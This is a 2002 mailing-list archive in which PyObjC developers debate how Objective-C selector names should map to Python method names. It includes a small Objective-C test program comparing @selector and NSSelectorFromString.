Message-ID: <1D56DB7C-E115-11D6-98BF-0003931CFE24@cistron.nl>

On Wednesday, Oct 16, 2002, at 15:17 Europe/Amsterdam, Jack Jansen 
wrote:
>
> I think that what I would like is one static scheme that is the same 
> (or almost the same) as the Java/ObjC naming scheme, plus a fallback 
> scheme (which could be the current message_withFoo_ scheme). There may 
> be a problem here with overloading, though: if I look at AppKitJava 
> there's often multiple ObjC selectors that map to one Java method 
> name, I'm not sure how they handle this, especially in the face of 
> overriding ObjC methods from Java.

I agree that using the naming scheme as from the Java-Cocoa bridge 
would be usefull. Making up yet another naming scheme would be IMHO be 
unwise, if only because this would make it very hard to find 
documentation.

W.R.T. mapping multiple selectors onto the same java method in the Java 
bridge: I suppose these are selectors that are logically 1 method with 
a number of default arguments, and the ones with less arguments 
probably call the ones with more arguments:
	[object foo]	-> [object fooWithArg:nil andNum:nil]
	[object fooWithArg:arg] -> [object fooWithArg:arg andNum:nil]
	[object fooWithArg:arg andNum:arg2]

>
> The static scheme could simply be a Python dictionary (or an 
> NSDictionary, but a Python dictionary is easier to initialize, I 
> guess) that we initialize with Python code, where the Python code is 
> generated by running /Developer/Java/Jobs/*.jobs through a script. 
> Fastest is probably to create both Python->ObjC and ObjC->Python 
> dictionaries.

I was thinking along the same lines. The actual datastructure should be 
hidden,
you'd just call a global function in the objc module to map an 
Objective-C selector on a Python method name.

>
> Is it still possible to have two name mapping schemes, where first one 
> is tried and then the other? Or would this wreak havoc now that we 
> have two-way inheritance and such?

Having two mapping scheme's is not really a problem. That is, unless 
you want to be able to access a method using both mapping schemes at 
the same time.

The current code does something like the code below while creating a 
proxy class for and objective-C class:

def map_selector(sel):
	return sel.replace(':', '_')

def make_methods(ocClass, clsDict):
	for meth in ocClass.methods():
		clsDict[map_selector(meth.selector)] = wrapMethod(meth)

The proxy class is created once including all methods. There is some 
additional code that recalculates the class dict whenever the method 
list of the Objective-C class changes. This may happen when loading a 
bundle that defines additional categories for existing classes.

It would be fairly easy to replace the 'map_selector' function by a 
function that first does a lookup in a translation table.

IMHO it is highly unlikely that users define completely new selectors 
in Python, other than new actions for use in Interface Builder, and I 
already have written a module that reads the classes.nib from a .NIB 
'file' and creates a python module containing the corresponding python 
classes. Using names without underscores for IBActions is therefore 
very easy.

Ronald



From oussoren@cistron.nl  Wed Oct 16 15:46:03 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Wed, 16 Oct 2002 16:46:03 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <2mzntescae.fsf@starship.python.net>
Message-ID: <FE91FF89-E115-11D6-98BF-0003931CFE24@cistron.nl>

On Wednesday, Oct 16, 2002, at 16:12 Europe/Amsterdam, Michael Hudson 
wrote:

> Bob Savage <bobsavage@mac.com> writes:
>
>> I just want to point out one more thing: because these are part of the
>> name of the method, and not truly labels, the following two methods 
>> are
>> distinct:
>>
>> [obj message: arg1 withFoo: arg2];
>> [obj withFoo:arg2 message:arg1];
>>
>> Those are two different methods.
>
> But surely this isn't an issue in practice?  That would be horrible!
It would be, but that is not really something we have much control 
over. Currently PyObjC provides a completely transparent bridge between 
Objective-C and Python, without having to interpret the meaning of the 
selectors at all.

If you'd want to map [obj messageWithFoo:foo andBar:bar] onto 
obj.message(foo=foo, bar=bar), the code must know about the (pretty 
loose) convention of using 'with' and 'and'.

Ronald



From oussoren@cistron.nl  Wed Oct 16 15:49:17 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Wed, 16 Oct 2002 16:49:17 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <1D56DB7C-E115-11D6-98BF-0003931CFE24@cistron.nl>
Message-ID: <72364F6B-E116-11D6-98BF-0003931CFE24@cistron.nl>

To reply to myself...

Another mapping scheme would be to just drop the colons and translate 
the character just beyond colons to uppercase. This would make the 
python methodnames more pleasant, although still long and 'foreign 
looking':

	[obj setObject:value forKey:key] -> obj.setObjectForKey(value, key)

Ronald



From Jack.Jansen@cwi.nl  Wed Oct 16 16:25:10 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Wed, 16 Oct 2002 17:25:10 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <72364F6B-E116-11D6-98BF-0003931CFE24@cistron.nl>
Message-ID: <75483907-E11B-11D6-BC55-0030655234CE@cwi.nl>

On Wednesday, October 16, 2002, at 04:49 , Ronald Oussoren wrote:

> To reply to myself...
>
> Another mapping scheme would be to just drop the colons and translate 
> the character just beyond colons to uppercase. This would make the 
> python methodnames more pleasant, although still long and 'foreign 
> looking':
>
> 	[obj setObject:value forKey:key] -> obj.setObjectForKey(value, key)

I think the bottom line is: which method makes it easiest to write 
Python code given Apple's documentation? I must say I haven't looked at 
the Java Cocoa documentation (actually, I tend to read the ObjC header 
files mostly) but if that is good then I think we should stick with the 
Java names. If it isn't good (or nonexistent:-) then an algorithmic name 
translation scheme is probably best.

Something else that might be worthwhile is a helper command that 
translates ObjC calls to Python. You would then copy [obj setObject: 
value forKey: key], paste it in your Python script (where it will stay 
selected) and select the "ObjC methodcall to Python" command to turn it 
into obj.setObjectForKey(value, key). The only question is how we could 
get this into Project Builder (into the Python IDE would be easy).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From bbum@mac.com  Wed Oct 16 16:34:47 2002
From: bbum@mac.com (bbum@mac.com)
Date: Wed, 16 Oct 2002 11:34:47 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <A1260ADA-E109-11D6-BC55-0030655234CE@cwi.nl>
Message-ID: <CD802461-E11C-11D6-A593-000393877AE4@mac.com>

(Jack;  thanks for the CC to pyobjc.  I have now subscribed to 
pythonmac and will try to keep up with things in this SIG.)

First, a brief update on the progress made on the PyObjC project.

The module itself is now compatible with the Apple supplied build of 
Python 2.2.

At this point, the developer can create a new project in Project 
Builder, select "Cocoa-Python Application" (a custom template included 
with PyObjC), and Project Builder will create a new Cocoa application 
project that is implemented entirely in Python.  The project template 
includes an implementation for a basic application delegate (NSObject 
subclass) that includes target/actions, outlets, and notification 
handling.

When the 'install' target is used, the resulting application runs 
completely standalone on any OS X 10.2 machine without requiring that 
the user has preinstalled PyObjC or a custom build of Python.

In comparison to Cocoa-Java, the PyObjC bridge is significantly less 
intrusive.   More on this below.

In comparison to Cocoa-AppleScript (AppleScript Studio), the PyObjC 
bridge presents a development experience that is much closer to pure 
Cocoa.  AppleScript Studio is really a mix of Cocoa widgets into 
AppleScript style event handling-- the end result is very powerful, but 
it isn't Cooca programming.

At this point, the PyObjC bridge is being used in several production 
quality projects/products.  I.e. it is working now and working 
extremely well!!

(And, again, a huge note of thanks to Ronald -- his work on the 
subclassing and method dispatch mechanisms made it all possible.)

More information interspersed with Jack's and Ronald's text below.

On Wednesday, October 16, 2002, at 09:17 AM, Jack Jansen wrote:
> [I've added pyobjc-dev to the distribution]
> On Wednesday, October 16, 2002, at 02:28 , Ronald Oussoren wrote:
>>> Something that is open to discussion, I think, is how to map ObjC 
>>> names to Python names. The current PyObjC code supports two 
>>> compile-time options, object.message_withFoo_(arg1, arg2) and 
>>> another that I forget with even more underscores in there (this 
>>> mapping is ambiguous: it maps to both [object message: withFoo:] and 
>>> to [object message_withFoo:]). The Java-ObjC brigde has simply 
>>> defined sensible static mappings for all names used in Cocoa, and 
>>> the above would probably become something like 
>>> object.messagewithFoo() or object.messageWithFoo(). Python's current 
>>> method is more flexible, but boy does it lead to ugly method names 
>>> in your code...
>>
>> Changing the mapping from Objective-C names to/from Python names is 
>> definitely open for discusion.
>>
>> BTW. The current PyObjC no longer supports object.message__withFoo__.

We have been down this path a number of times over the six year history 
of the PyObjC module.  In all cases, we have ended up back with the 
naming conventions that we have now for a number of reasons.   Moving 
from double underbar to single underbar was definitely a win -- made 
the code easier to read and write.

> I think that what I would like is one static scheme that is the same 
> (or almost the same) as the Java/ObjC naming scheme, plus a fallback 
> scheme (which could be the current message_withFoo_ scheme). There may 
> be a problem here with overloading, though: if I look at AppKitJava 
> there's often multiple ObjC selectors that map to one Java method 
> name, I'm not sure how they handle this, especially in the face of 
> overriding ObjC methods from Java.

The key value in the PyObjC module is that it provides an ObjC 
development experience that is about as close to transparent as can be 
achieved when mapping from one language to another.   One of the most 
frustrating aspects of doing ObjC/Java (the bridge existed back to 
WebObjects 3.0 in 1997) was because of the mapping of method names.  
Specifically, the developer effectively had to learn three APIs deeply 
to be effective -- the ObjC API, the Java SDK APIs, and this weird 
permutation of the ObjC APIs as presented in Java.

End result;  the developer is constantly frustrated by constantly 
having to do the mapping in their heads.  Worse, the mapped 
representation -- the conversion from, say, setObject:forKey: to 
setObjectForKey() -- loses the emphasis on the number and order of 
parameters that is emphasized by ObjC's method naming scheme.

 From personal experience-- both as a developer and a WebObjects 
training instructor-- I can confidently say that all of the effort that 
was put into presenting the ObjC API in Java such that it appeared to 
be a Java API caused a hell of a lot more confusion than it ever 
perpetuated clarity!

Even if it slightly less Python-Pretty, this...

     mutableDictionary.setObject_forKey_ ( "foo", "bar" )

... is ultimately easier to read and maintain than this...

     mutableDictionary.setObjectForKey( "foo", "bar" )

... for a number of reasons:

     - the first is immediately recognizable as an ObjC method call.  
Regardless of how transparent the bridge is, the bridge is there and it 
does affect behavior.  Trying to hide it makes maintenance 
significantly more expensive and the introduction of new developers 
into a project harder.  (I helped maintain a mixed ObjC<->Java codebase 
with 500,000+ lines of code for over 3 years.   The bridge was the 
single largest cause of problems in the project -- that it tried to 
hide the "crossing of the bridge" just confused things.)

     - the first form preserves the argumentation information as 
provided by the traditional ObjC method name (setObject:forKey:)-- the 
developer can easily map between that syntax and the original ObjC 
method.  The second loses that information and the developer can easily 
assume that the key should be first.   This is a huge problem among my 
development team with WebObjects 5.x -- all of us make this kind of 
mistake on a regular basis.

     - the first has the distinct advantage of allowing the developer to 
*always* be able to deduce the original ObjC method name by simply 
looking at the code.  The developer doesn't have to go follow some 
random mapping to try and figure out what the ObjC method's name 
originally was.

> Hmm, even if that isn't possible we could cop out: if the method name 
> translation routine finds that a certain name isn't in the 
> dictionaries it would simply add it. Or (more cumbersome, but safer) 
> there could be a (Python) API MapObjCSelector('message:withFoo', 
> 'messageWithFoo') which could then also check that this mapping 
> doesn't conflict with another one. With such a scheme the Python 
> programmer would have to declare any new ObjC messages it uses, but 
> the question is how often this will happen.

Anything that adds more steps to the bridging process is bad.  One of 
the most powerful and valuable aspects of the PyObjC bridge is that it 
so totally transparent;  much more so than CamlBones (doesn't do 
subclassing), Java<->ObJC (changes the API) and AppleScript<->ObjC (not 
intended to be transparent at all).

The developer is going to be defining new ObjC methods quite often.  
The current PyObjC module can complete replace ObjC within a Cocoa 
project.  That is, Python is used to create all of the custom classes 
that one would normally find in a Cocoa project.   As such, the 
developer is writing lots of custom methods that implement the 
functionality specific to their application.   Certainly, there are 
many cases where the developer is simply overriding existing Cocoa 
providing functionality.

As it is, many of those methods have to be declared such that the 
bridge can figure out how to do the dispatch.   Very unfortunate, in 
and of itself, but livable.   It would be even more unfortunate if 
every single action method and other custom methods had to be declared, 
as well!

b.bum









From bbum@mac.com  Wed Oct 16 16:43:38 2002
From: bbum@mac.com (bbum@mac.com)
Date: Wed, 16 Oct 2002 11:43:38 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <75483907-E11B-11D6-BC55-0030655234CE@cwi.nl>
Message-ID: <09A8D3C1-E11E-11D6-A593-000393877AE4@mac.com>

A brief followup to my previous email:

     Doing such a mapping is ultimately a Very Bad Idea.

	While it makes reading PyObjC code easier from the perspective of a 
Python programmer, it seriously hampers the efforts of a programmer 
coming to the environment from an ObjC background.

     Making messaging across the bridge transparent is paramount.  
Making it syntactically transparent will cause problems both in 
maintenance and in coding efficiency.

     The Java bridge should not be used as a model of "how to do things 
right".  It is a painful, painful thing to use.

     As well, the pure Java version of Foundation, EO, and WebObjects 
provide a great deal of evidence that trying to map the Objective-C 
syntax into a Java or Python-like (because, in reality, Java's and 
Python's method invocation syntax is fairly identical) leads to a lot 
of confusion.   Even to this day, developers that have spent years 
working against the pure Java version of Foundation hesitate for a 
second when dealing with methods like setObjectForKey() -- some of the 
longer methods are even worse.

     As ugly as it is, there is a hell of a lot of value in preserving 
the ObjC method naming semantics on the Python side of the bridge.

     We have been down this path before -- in the ObjC [WebScript and 
its "new style" syntax] realm, in the Java realm with the bridge and 
pure Java implementations of Foundation, etc., and in the Python realm 
(this discussion has come up in the context of PyObjC on a regular 
basis since the project's inception so many years ago.

     b.bum


On Wednesday, October 16, 2002, at 11:25 AM, Jack Jansen wrote:
> On Wednesday, October 16, 2002, at 04:49 , Ronald Oussoren wrote:
>> To reply to myself...
>>
>> Another mapping scheme would be to just drop the colons and translate 
>> the character just beyond colons to uppercase. This would make the 
>> python methodnames more pleasant, although still long and 'foreign 
>> looking':
>>
>> 	[obj setObject:value forKey:key] -> obj.setObjectForKey(value, key)
>
> I think the bottom line is: which method makes it easiest to write 
> Python code given Apple's documentation? I must say I haven't looked 
> at the Java Cocoa documentation (actually, I tend to read the ObjC 
> header files mostly) but if that is good then I think we should stick 
> with the Java names. If it isn't good (or nonexistent:-) then an 
> algorithmic name translation scheme is probably best.
>
> Something else that might be worthwhile is a helper command that 
> translates ObjC calls to Python. You would then copy [obj setObject: 
> value forKey: key], paste it in your Python script (where it will stay 
> selected) and select the "ObjC methodcall to Python" command to turn 
> it into obj.setObjectForKey(value, key). The only question is how we 
> could get this into Project Builder (into the Python IDE would be 
> easy).
> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>        
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution -- Emma 
> Goldman -
>
>
>
> -------------------------------------------------------
> This sf.net email is sponsored by: viaVerio will pay you up to
> $1,000 for every account that you consolidate with us.
> http://ad.doubleclick.net/clk;4749864;7604308;v?
> http://www.viaverio.com/consolidator/osdn.cfm
> _______________________________________________
> Pyobjc-dev mailing list
> Pyobjc-dev@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/pyobjc-dev
>
b.bum
Are you laughing?
	... they are.



From bbum@mac.com  Wed Oct 16 16:53:40 2002
From: bbum@mac.com (bbum@mac.com)
Date: Wed, 16 Oct 2002 11:53:40 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <1D56DB7C-E115-11D6-98BF-0003931CFE24@cistron.nl>
Message-ID: <70F5EC79-E11F-11D6-A593-000393877AE4@mac.com>

This has not been my experience.

In using the bridge, I define completely new selectors on the python 
side all the time as I refractor and generalize my code.   As well, I'm 
defining new selectors as targets of Timers, Notifications, and certain 
kinds of delegation (sheet call back methods, as an example).

These all have relatively predictable signatures, but the selector 
names tend to be unique inventions of my projects.

In other words, I'm doing with the PyObjC bridge the exact same kind of 
development that I-- and the rest of the ObjC development community-- 
have done with ObjC for the last decade.

b.bum

On Wednesday, October 16, 2002, at 10:39 AM, Ronald Oussoren wrote:
> IMHO it is highly unlikely that users define completely new selectors 
> in Python, other than new actions for use in Interface Builder, and I 
> already have written a module that reads the classes.nib from a .NIB 
> 'file' and creates a python module containing the corresponding python 
> classes. Using names without underscores for IBActions is therefore 
> very easy.



From bobsavage@mac.com  Wed Oct 16 17:14:01 2002
From: bobsavage@mac.com (Bob Savage)
Date: Wed, 16 Oct 2002 11:14:01 -0500
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <2mzntescae.fsf@starship.python.net>
Message-ID: <482F92DF-E122-11D6-9287-00306547CFF0@mac.com>

On Wednesday, October 16, 2002, at 09:12 AM, Michael Hudson wrote:

> Bob Savage <bobsavage@mac.com> writes:
>
>> I just want to point out one more thing: because these are part of the
>> name of the method, and not truly labels, the following two methods 
>> are
>> distinct:
>>
>> [obj message: arg1 withFoo: arg2];
>> [obj withFoo:arg2 message:arg1];
>>
>> Those are two different methods.
>
> But surely this isn't an issue in practice?  That would be horrible!
>
> Cheers,
> M.

I know no good reason to do this, but it seems foolish to assume 
someone will never do what the language allows.

Bob



From seth@jtan.com  Wed Oct 16 19:54:37 2002
From: seth@jtan.com (Seth Delackner)
Date: Wed, 16 Oct 2002 11:54:37 -0700
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <C986721E-E109-11D6-9287-00306547CFF0@mac.com>
Message-ID: <B840FCD6-E138-11D6-9F77-000393873F82@jtan.com>

On Wednesday, October 16, 2002, at 06:18 , Bob Savage wrote:
> I just want to point out one more thing: because these are part of the 
> name of the method, and not truly labels, the following two methods are 
> distinct:
>
> [obj message: arg1 withFoo: arg2];
> [obj withFoo:arg2 message:arg1];
>
> Those are two different methods. This means that the Seth's system 
> would not work at all (although I don't like it because it makes the 
> relation between the 'labels' and arguments less clear).

I may be wrong, but I disagree with your assessment.  There is only a 
single mapping possible from my example (although now looking at it, my 
example had a typo).  What I meant is:

rt.call(obj, "message", arg1, "arg2name", arg2);
# giving us the message name = "message:arg1name:arg2name"

The method 'rt.call' would take arguments  [0] object to receive the 
message, [1] first part of the message name, [2] .  Each subsequent pair 
of arguments is interpreted as first the next chunk of the message name 
and then the next part of the message arguments.

Where is the ambiguity?  Also, since obj is really a python wrapper 
class for Objective-C objects, one could probably make 'call' a method 
(renamed to avoid conflicts) on the wrapper class, resulting in 
something like:

obj._call("message", arg1, "arg2name", arg2);



From bob@mastersofbranding.com  Wed Oct 16 20:02:31 2002
From: bob@mastersofbranding.com (Bob Ippolito)
Date: Wed, 16 Oct 2002 15:02:31 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <B840FCD6-E138-11D6-9F77-000393873F82@jtan.com>
Message-ID: <D271802C-E139-11D6-8271-0003938210D6@mastersofbranding.com>

On Wednesday, Oct 16, 2002, at 14:54 America/New_York, Seth Delackner 
wrote:

> On Wednesday, October 16, 2002, at 06:18 , Bob Savage wrote:
>> I just want to point out one more thing: because these are part of 
>> the name of the method, and not truly labels, the following two 
>> methods are distinct:
>>
>> [obj message: arg1 withFoo: arg2];
>> [obj withFoo:arg2 message:arg1];
>>
>> Those are two different methods. This means that the Seth's system 
>> would not work at all (although I don't like it because it makes the 
>> relation between the 'labels' and arguments less clear).
>
> I may be wrong, but I disagree with your assessment.  There is only a 
> single mapping possible from my example (although now looking at it, 
> my example had a typo).  What I meant is:
>
> rt.call(obj, "message", arg1, "arg2name", arg2);
> # giving us the message name = "message:arg1name:arg2name"
>
> The method 'rt.call' would take arguments  [0] object to receive the 
> message, [1] first part of the message name, [2] .  Each subsequent 
> pair of arguments is interpreted as first the next chunk of the 
> message name and then the next part of the message arguments.
>
> Where is the ambiguity?  Also, since obj is really a python wrapper 
> class for Objective-C objects, one could probably make 'call' a method 
> (renamed to avoid conflicts) on the wrapper class, resulting in 
> something like:
>
> obj._call("message", arg1, "arg2name", arg2);

Surely you _could_ do something like this, relatively easily at that, 
but with this method you can't do any subclassing.

-bob



From bobsavage@mac.com  Wed Oct 16 21:20:22 2002
From: bobsavage@mac.com (Bob Savage)
Date: Wed, 16 Oct 2002 15:20:22 -0500
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <B840FCD6-E138-11D6-9F77-000393873F82@jtan.com>
Message-ID: <B2AFBDEE-E144-11D6-9287-00306547CFF0@mac.com>

On Wednesday, October 16, 2002, at 01:54 PM, Seth Delackner wrote:

> On Wednesday, October 16, 2002, at 06:18 , Bob Savage wrote:
>
>> [obj message: arg1 withFoo: arg2];
>> [obj withFoo:arg2 message:arg1];
>>
>> Those are two different methods. This means that the Seth's system 
>> would not work

> I may be wrong, but I disagree with your assessment.  There is only a 
> single mapping possible from my example (although now looking at it, 
> my example had a typo).  What I meant is:
>
> rt.call(obj, "message", arg1, "arg2name", arg2);
> # giving us the message name = "message:arg1name:arg2name"
>
> The method 'rt.call' would take arguments  [0] object to receive the 
> message, [1] first part of the message name, [2] .  Each subsequent 
> pair of arguments is interpreted as first the next chunk of the 
> message name and then the next part of the message arguments.
>
> Where is the ambiguity?

Hopefully I am not misunderstanding you. If what you are saying is you 
could take :
   rt.call(obj, "message", arg1, "arg2name", arg2);
and have rt.call() concatenate the strings  "message" and "arg2name" 
(with a colon between) then converting that to  the selector (like 
method name for the runtime) "@sel(message: arg2name)" and then do a 
call selector with arg1 and arg2, sure you can do that.

Here is where I see the ambiguity arising:

@sel is drawSelfAtPoint:withSize:color:

rt.call(obj, "drawSelfAtPoint", p, "color", c, "withSize", "s")

rt.call() concatenates the method name as "drawSelfAtPoint: color: 
withSize:". Then the runtime sends a message to the object to perform 
the selector "@sel (drawSelfAtPoint: color: withSize:)", and the object 
says, it can't.

Am I understanding you correctly? Because, the way I see it, this is 
likely to encourage runtime errors (unknown selector).

Bob



From bob@mastersofbranding.com  Wed Oct 16 22:27:03 2002
From: bob@mastersofbranding.com (Bob Ippolito)
Date: Wed, 16 Oct 2002 17:27:03 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <B2AFBDEE-E144-11D6-9287-00306547CFF0@mac.com>
Message-ID: <037BCC76-E14E-11D6-8271-0003938210D6@mastersofbranding.com>

On Wednesday, Oct 16, 2002, at 16:20 America/New_York, Bob Savage wrote:

>
> On Wednesday, October 16, 2002, at 01:54 PM, Seth Delackner wrote:
>
>> On Wednesday, October 16, 2002, at 06:18 , Bob Savage wrote:
>>
>>> [obj message: arg1 withFoo: arg2];
>>> [obj withFoo:arg2 message:arg1];
>>>
>>> Those are two different methods. This means that the Seth's system 
>>> would not work
>
>> I may be wrong, but I disagree with your assessment.  There is only a 
>> single mapping possible from my example (although now looking at it, 
>> my example had a typo).  What I meant is:
>>
>> rt.call(obj, "message", arg1, "arg2name", arg2);
>> # giving us the message name = "message:arg1name:arg2name"
>>
>> The method 'rt.call' would take arguments  [0] object to receive the 
>> message, [1] first part of the message name, [2] .  Each subsequent 
>> pair of arguments is interpreted as first the next chunk of the 
>> message name and then the next part of the message arguments.
>>
>> Where is the ambiguity?
>
> Hopefully I am not misunderstanding you. If what you are saying is you 
> could take :
>   rt.call(obj, "message", arg1, "arg2name", arg2);
> and have rt.call() concatenate the strings  "message" and "arg2name" 
> (with a colon between) then converting that to  the selector (like 
> method name for the runtime) "@sel(message: arg2name)" and then do a 
> call selector with arg1 and arg2, sure you can do that.
>
> Here is where I see the ambiguity arising:
>
> @sel is drawSelfAtPoint:withSize:color:
>
> rt.call(obj, "drawSelfAtPoint", p, "color", c, "withSize", "s")
>
> rt.call() concatenates the method name as "drawSelfAtPoint: color: 
> withSize:". Then the runtime sends a message to the object to perform 
> the selector "@sel (drawSelfAtPoint: color: withSize:)", and the 
> object says, it can't.
>
> Am I understanding you correctly? Because, the way I see it, this is 
> likely to encourage runtime errors (unknown selector).

That's not a case of ambiguity, that's just Programmer Error.  Unknown 
selector is what they *should* get for issuing the selectors in an 
incorrect order.  Notice that he's using ordered list arguments, not 
dictionary arguments for his call function.

-bob



From bbum@mac.com  Wed Oct 16 22:45:32 2002
From: bbum@mac.com (bbum@mac.com)
Date: Wed, 16 Oct 2002 17:45:32 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <037BCC76-E14E-11D6-8271-0003938210D6@mastersofbranding.com>
Message-ID: <98AF90AF-E150-11D6-A593-000393877AE4@mac.com>

On Wednesday, October 16, 2002, at 05:27 PM, Bob Ippolito wrote:
>> rt.call() concatenates the method name as "drawSelfAtPoint: color:  
>> withSize:". Then the runtime sends a message to the object to perform  
>> the selector "@sel (drawSelfAtPoint: color: withSize:)", and the  
>> object says, it can't.

The two are identical in the context of @selector(), but not  
NSSelectorFromString.   Odd.  A bugreport.apple.com report has been  
filed.

Consider this output:

2002-10-16 17:42:19.198 bar[9636]  
pathForResource:ofType:inDirectory:forLocalization: ==  
pathForResource:ofType:inDirectory:forLocalization:
2002-10-16 17:42:19.232 bar[9636]  
pathForResource:ofType:inDirectory:forLocalization: != pathForResource:  
ofType: inDirectory: forLocalization:

 From this code:

#import <Foundation/Foundation.h>

int main (int argc, const char * argv[]) {
   NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
   SEL sel1 =  
@selector(pathForResource:ofType:inDirectory:forLocalization:);
   SEL sel2 = @selector(pathForResource: ofType: inDirectory:  
forLocalization: );

   SEL sel3 =  
NSSelectorFromString(@"pathForResource:ofType:inDirectory:forLocalizatio 
n:");
   SEL sel4 = NSSelectorFromString(@"pathForResource: ofType:  
inDirectory: forLocalization: ");
   if (sel1 == sel2)
     NSLog(@"%@ == %@", NSStringFromSelector(sel1),  
NSStringFromSelector(sel2));
   else
     NSLog(@"%@ != %@", NSStringFromSelector(sel1),  
NSStringFromSelector(sel2));

   if (sel3 == sel4)
     NSLog(@"%@ == %@", NSStringFromSelector(sel3),  
NSStringFromSelector(sel4));
   else
     NSLog(@"%@ != %@", NSStringFromSelector(sel3),  
NSStringFromSelector(sel4));
   [pool release];
   return 0;
}

Seems like a bit of a discontinuity between the way the two work.

>>
>> Am I understanding you correctly? Because, the way I see it, this is  
>> likely to encourage runtime errors (unknown selector).
>
> That's not a case of ambiguity, that's just Programmer Error.  Unknown  
> selector is what they *should* get for issuing the selectors in an  
> incorrect order.  Notice that he's using ordered list arguments, not  
> dictionary arguments for his call function.

In that you are correct -- an array of arguments could be interpreted  
in this fashion.

However, I completely fail to see how...

     rt.call(obj, "drawSelfAtPoint", p, "color", c, "withSize", "s")

... is cleaner/clearer/better than...

     obj.drawSelfAtPoint_color_withSize_(p, c, s)

b.bum



From lists@netelligent.biz  Wed Oct 16 22:37:10 2002
From: lists@netelligent.biz (tmk)
Date: Wed, 16 Oct 2002 23:37:10 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <EBF4593D-E0E4-11D6-9418-0030655234CE@cwi.nl>
Message-ID: <6D2F977A-E14F-11D6-88E0-000393A49442@netelligent.biz>

Yo,

FWIW, after reading all the proposals re: the method syntax. and 
writing some (a little) Python Cocoa code, I'm getting the strong 
feeling that I'd definitely go for bbum's suggestion to stay with the 
current "_" based naming convention.

> object.message_withFoo_(arg1, arg2)

It may not be the prettiest but after some testing, this syntax proved 
to be the easiest-to-understand and to map CORRECTLY with its ObjC 
counterparts (e.g. when I read.messageWithFoo(arg1, arg2) I found that 
I tend to expect only one argument (withFoo) while the underscore make 
it clear there are two of them and in what order).

Besides I remember how the ObjC syntax eventually made sense to me. It 
was after I read the following recipe:

"there are as many parameters to a message as they are colons in its 
name".

My litmus test for the syntax choice: "explain the mapping mechanism 
unambiguously in one sentence".

"replace the underscores in the python method name by colons and you'll 
get the name of the original ObjC method"

(Btw, is this the reason why there's hardly any doc with the PyObjC 
0.7.0 package ;-)

Wow. And again so many thanks and kudos to Ronald, Bill et al for this 
incredible tool.

Today I wrote my first real Cocoa app (other than those in the 
tutorials I've read) in python in a couple of hours.

This is all IMHO and just my .02 euros.

= tmk =


On Wednesday, Oct 16, 2002, at 10:54 Europe/Brussels, Jack Jansen wrote:

>
> On Wednesday, October 16, 2002, at 09:45 , Just van Rossum wrote:
>
>> Seth Delackner wrote:
>>
>>> To expand on my previous comment in a different direction, why not:
>>>
>>> rt = pyobjc.runtime
>>>
>>> rt.call(obj, "message", "arg1name", arg1value, "arg2name", 
>>> arg2value);
>>> Which would directly map to:
>>> [obj message arg1name:arg1value arg2name:arg2value];
>>> although I'll be the first to admit I have no idea how to actually
>>> affect that transform.
>>
>> I still know very little about ObjC, let alone pyobjc, but in my 
>> ideal would be
>> something like:
>>
>>   obj.message(arg1name=arg1value, arg2name=arg2value)
>
> There's a fundamental problem with this: the "argnames" are really 
> part of the Objective C method name. I.e. if you see  a call [object 
> message: arg1 withFoo: arg2] you should think of "message:withFoo:" as 
> the method name, *not* of "message:" as the message name and 
> "withFoo:" as the name of an optional argument.
>
> Within the ObjC environment the three methods [object message], 
> [object message: arg1] and [object message: arg1 withFoo: arg2] have 
> absolutely no relationship to each other. Trying to unify these is 
> going to lead to some very ugly code at some point. For instance, how 
> would you override "message:withFoo:" in a Python object subclassed 
> from an ObjC object without overriding "message:"?
>
> ObjC picked the "interspersed method names" (there's probably an 
> official term for this) up from Smalltalk. And, incidentally, ABC, 
> Python's predecessor, had this same syntax but it's one of the many 
> things from ABC that Guido dropped for Python.
>
> Something that is open to discussion, I think, is how to map ObjC 
> names to Python names. The current PyObjC code supports two 
> compile-time options, object.message_withFoo_(arg1, arg2) and another 
> that I forget with even more underscores in there (this mapping is 
> ambiguous: it maps to both [object message: withFoo:] and to [object 
> message_withFoo:]). The Java-ObjC brigde has simply defined sensible 
> static mappings for all names used in Cocoa, and the above would 
> probably become something like object.messagewithFoo() or 
> object.messageWithFoo(). Python's current method is more flexible, but 
> boy does it lead to ugly method names in your code...
> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>        
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution -- Emma 
> Goldman -
>
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>



From bob@redivi.com  Wed Oct 16 23:10:35 2002
From: bob@redivi.com (Bob Ippolito)
Date: Wed, 16 Oct 2002 18:10:35 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <98AF90AF-E150-11D6-A593-000393877AE4@mac.com>
